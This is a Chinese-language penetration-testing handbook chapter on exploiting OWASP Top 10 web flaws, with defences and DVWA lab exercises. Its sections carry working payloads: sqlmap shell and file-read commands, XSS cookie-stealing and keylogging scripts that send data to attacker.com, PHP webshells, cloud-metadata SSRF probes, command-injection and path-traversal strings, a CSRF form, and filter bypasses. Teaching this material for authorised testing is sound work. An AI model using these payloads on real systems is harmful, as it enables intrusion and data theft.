逆向工程实战手册 第 58 章

第 58 章 Web 漏洞利用(OWASP Top 10 实战)

在信息收集(第 57 章)之后,对每个入口测试漏洞。本章按 OWASP Top 10 实战高频顺序,覆盖每个漏洞的原理、检测、利用与防御。检测优先于利用——先证明存在,再考虑利用深度。

📍 知识点地图 | 主题:Web漏洞利用 | 前置:第57章 | 后续:第65-67章 | 核心概念:SQLi、XSS、SSRF、上传、IDOR、JWT

58.1 本章漏洞地图

输入验证类: SQL 注入 / 命令注入 / 目录遍历 / XSS
访问控制类: IDOR / 越权 / JWT 攻击 / CSRF
服务端请求: SSRF / 文件上传
配置类: 信息泄露 / 不安全配置
每类 = 检测(如何确认存在)→ 利用(如何扩大影响)→ 防御

58.2 SQL 注入(经典之首)

检测三板斧

# 1. 布尔盲注(响应差异对比)
1' AND '1'='1        # 正常
1' AND '1'='2        # 异常 → 存在注入

# 2. 时间盲注(无响应差异时)
1' AND SLEEP(5)--    # 响应延迟 5 秒 = 注入点

# 3. 报错注入(数据库报错回显)
1' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))--

SQLMap 自动化(从检测到拿数据)

# 基础
sqlmap -u "http://target/page?id=1" --batch --dbs
# POST
sqlmap -u "http://target/login" --data="user=admin&pass=test" --batch
# Cookie 注入(* 号标记注入点)
sqlmap -u "http://target/page" --cookie="id=1*" --batch
# 读文件/写 shell
sqlmap -u "http://target/page?id=1" --file-read=/etc/passwd
sqlmap -u "http://target/page?id=1" --os-shell

WAF 绕过(Tamper 脚本)

sqlmap -u "http://target/page?id=1" --tamper=space2comment,between --random-agent
Tamper 作用
space2comment 空格→/**/
between >BETWEEN
randomcase 关键字随机大小写
equaltolike =LIKE
base64encode payload Base64

防御

参数化查询(PreparedStatement)—— 唯一正道
绝不拼接 SQL 字符串;存储过程也要参数化

58.3 XSS(跨站脚本)

检测 Payload(分层递进)

<!-- 基础验证 -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>

<!-- 过滤绕过 -->
<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror=alert`1`>
<svg/onload=alert(1)>
<body onload=alert(1)>

<!-- DOM 型 -->
javascript:alert(1)
#<img src=x onerror=alert(1)>

利用载荷(XSS 只是开始)

// 窃取 Cookie
new Image().src="https://attacker.com/steal?c="+document.cookie;

// 键盘记录
document.onkeypress=function(e){
    new Image().src="https://attacker.com/log?k="+e.key;
}

// 页面劫持(钓鱼)
document.body.innerHTML='<h1>Session Expired</h1><form action="https://attacker.com/phish">...';

// 存储型: 每次访问都触发(后台/评论/头像名)
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

类型区分(决定利用思路)

反射型: URL 参数回显(一次性,需诱导点击)
存储型: 入库后每次访问触发(最危险,打管理员)
DOM 型: 前端 JS 处理(无后端参与,绕后端过滤)

防御

输出编码(上下文相关: HTML/JS/URL 不同编码)
CSP(Content-Security-Policy)+ HttpOnly Cookie + 输入白名单

58.4 SSRF(服务端请求伪造)

检测与内网探测

# 基本探测
http://127.0.0.1:80
http://localhost:22
http://[::1]:80
http://0x7f000001:80          # 十六进制 IP

# 云元数据(云环境的金矿!)
http://169.254.169.254/latest/meta-data/    (AWS)
http://metadata.google.internal/             (GCP)
http://169.254.169.254/metadata/instance     (Azure)

# 协议利用(不限于 http)
file:///etc/passwd
dict://127.0.0.1:6379/INFO
gopher://127.0.0.1:6379/_*1%0d%0a...         # 打 Redis 等

绕过技巧(过滤存在的场景)

# IP 表示变体
http://0177.0.0.1           (八进制)
http://2130706433           (十进制)
http://0x7f.0x0.0x0.0x1     (十六进制)
http://127.1                (短格式)
http://127.0.0.1.nip.io     (DNS 重绑定)

# URL 解析差异
http://attacker.com@127.0.0.1
http://127.0.0.1#@allowed.com

# 重定向绕过
http://allowed.com/redirect?url=http://127.0.0.1

利用链(SSRF 是跳板不是终点)

SSRF → 内网服务探测 → 打 Redis/内部管理接口
     → 云元数据 → 云凭证 → 云资源接管(第 54.6 节)
     → file:// 读本地文件

防御

URL 白名单 + 禁止内网 IP 段 + 禁止非 HTTP 协议 + DNS 重绑定防护

58.5 文件上传漏洞(从上传到 RCE)

绕过方法总表

检测方式 绕过
后缀黑名单 .php5/.phtml/.pHp/.php.jpg
Content-Type 改成 image/jpeg
文件头检查 前加 GIF89a(图片马)
图片二次渲染 代码插在不被改的区域
.htaccess 上传自定义 .htaccess 改解析规则

Webshell

<?php system($_GET['cmd']); ?>
<?php eval($_POST['x']); ?>
<?=`$_GET[0]`?>

<!-- 图片马 -->
GIF89a<?php system($_GET['cmd']); ?>

上传后定位(关键一步)

□ 直接路径: /uploads/shell.php
□ 路径猜测: 时间戳命名/哈希命名/按用户 ID 目录
□ 对比响应: 上传成功的响应头/JSON 里有存储路径
□ 文件列表: 找允许列目录的 uploads 目录

防御

白名单后缀 + 随机重命名 + 独立存储域(无脚本执行)+ 文件头/内容校验

58.6 IDOR 与越权(访问控制类)

测试方法

# 水平越权(同级别用户间)
GET /api/users/1001/profile   # 自己的 → 正常
GET /api/users/1002/profile   # 别人的 → 应 403

# 垂直越权(普通用户打管理接口)
GET /api/admin/users

# 参数篡改
POST /api/orders/cancel {"order_id": "OTHER_USER_ORDER"}

# ID 遍历
for id in $(seq 1 1000); do
    curl -s -H "Auth: TOKEN" "https://api.target.com/users/$id" | grep -v "403"
done

常见 IDOR 位置(看到就试)

/api/users/{id}  /api/orders/{id}  /api/files/{id}/download
/api/messages/{id}  /profile?user_id=xxx  /download?file_id=xxx

核心认知

IDOR 的本质: 服务端信任了客户端传来的 ID,没有核对"这个 ID 属于谁"
→ 防御: 服务端鉴权(从会话取用户身份,不信任客户端参数)

58.7 JWT 与认证攻击

JWT 攻击面

# 算法混淆(alg:none)
# Header: {"alg":"none","typ":"JWT"} + 空签名 → 直接伪造

# 密钥爆破(弱密钥常见!)
hashcat -m 16500 jwt.txt wordlist.txt
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256

# RS256 → HS256 降级(用公钥当 HMAC 密钥签名)
# 服务器可能接受任意签名 key

# 常见问题: 过期时间过长 / 无过期 / 签名不验证 / kid 注入

密码重置攻击面

□ 重置 token 可预测(时间戳/递增数字)
□ 重置链接不过期
□ Host 头注入(改 Host → 重置链接发给攻击者邮箱域名)
□ 验证码可爆破(4-6 位无频率限制)
□ 邮箱/手机号参数可篡改(改收件人)

58.8 命令注入与目录遍历

命令注入检测

# Linux
; id    | id    `id`    $(id)    ; sleep 5    | sleep 5
# Windows
& whoami    | whoami    ; dir    `dir`

# 空格/关键字绕过
cat${IFS}/etc/passwd     # IFS 变量当空格
{cat,/etc/passwd}
c'a't /etc/passwd        # 引号分割
/bin/c?t /etc/passwd     # 通配符

目录遍历

../../../etc/passwd
..%2f..%2f..%2fetc/passwd
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd     # 双重编码
/..%c0%af../..%c0%af../etc/passwd   # 畸形 UTF-8

Windows:
..\..\..\windows\win.ini
..%5c..%5c..%5cwindows%5cwin.ini

58.9 CSRF 与信息泄露

CSRF 检测与利用

检测信号:
  □ 关键操作无 CSRF Token
  □ Token 不验证(删掉仍可请求)
  □ Token 不绑定会话(A 的 token B 能用)
  □ Referer 检查可绕过(空 Referer 通过)

利用(自动提交表单):
<form action="https://target.com/transfer" method="POST">
    <input name="to" value="attacker">
    <input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

信息泄露常见点

# 配置文件
/.env  /config.php.bak  /web.config  /.git/config  /.svn/entries
# 调试/文档
/debug  /trace  /actuator/env(Spring Boot)  /swagger-ui.html
# 备份
/backup.sql  /db.sql.gz  /site.tar.gz  /*.bak

58.10 利用检查清单

□ SQL 注入: 布尔/时间/报错三测 → sqlmap 跟进
□ XSS: 反射/存储/DOM 分类 → 确定利用链(Cookie 窃取/钓鱼)
□ SSRF: 内网探测 → 元数据/协议利用 → 评估影响
□ 文件上传: 绕过链 → 上传 → 定位 → 执行
□ IDOR: 水平/垂直/遍历测试
□ JWT: alg 混淆/弱密钥/降级
□ 命令注入: 检测 → 绕过 → 执行
□ CSRF: Token 缺失/可绕过
□ 信息泄露: 配置/备份/调试文件
□ 每个漏洞记录: URL/参数/payload/响应证据

动手练习

  1. 在 DVWA 靶场完成:SQL 注入(布尔+时间)、XSS(三种类型)、文件上传(三种绕过)、命令注入全流程。
  2. 用 Burp Repeater 手动完成一次 SQL 注入(不用 sqlmap),再用 sqlmap 对比。
  3. 构造一个 SSRF 探测内网脚本(扫描 127.0.0.1 常见端口),在靶场验证。
  4. 对一个带 JWT 的练习应用:测试 alg:none、弱密钥爆破、token 篡改三种攻击。

深入阅读

  • 仓库:skills/pentest-tools/references/web-attack-cheatsheet.md(本仓库 Web 漏洞速查全量)
  • 仓库:skills/pentest-tools/SKILL.md(工具链与 MCP)
  • 仓库:skills/api-security/SKILL.md(API/GraphQL 专项:BOLA/IDOR 方法论)
  • 仓库:skills/attack-chain/SKILL.md(初始访问阶段:Web 漏洞作为突破点)
  • 仓库:CTF-Sandbox-Orchestrator/competition-web-runtime/(Web CTF)